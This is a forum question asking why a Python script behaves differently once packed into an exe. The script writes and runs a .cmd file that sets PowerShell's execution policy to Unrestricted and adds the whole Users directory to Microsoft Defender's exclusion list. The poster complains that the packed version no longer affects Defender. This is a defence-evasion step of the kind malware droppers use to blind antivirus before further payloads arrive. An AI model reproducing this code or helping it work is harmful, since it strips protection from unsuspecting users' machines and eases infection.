Answer the question
In order to leave comments, you need to log in
Running cmd file with subprocess.Popen?
Hello, I can’t understand why this code works when you run it as a script, and doesn’t work when you pack it into an exe, the whole folder is created, the file is created, it starts, but it has no effect on the defender. what is the magic? and when you run this script, it just works out everything, everything starts from the admin. Help me please!
ps = os.getcwd()[:2]
base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__))) + r"\def"
os.mkdir(base_path)
with open(base_path + r"\win_dis.cmd", 'w') as deff:
for line in ['powershell -command "& {Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Force}"',
r'powershell -command "Add-MpPreference -ExclusionPath {0}\Users"'.format(ps)]:
deff.write("{0}\n".format(line))
subprocess.Popen("{0}".format(base_path + r'\win_dis.cmd'))
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question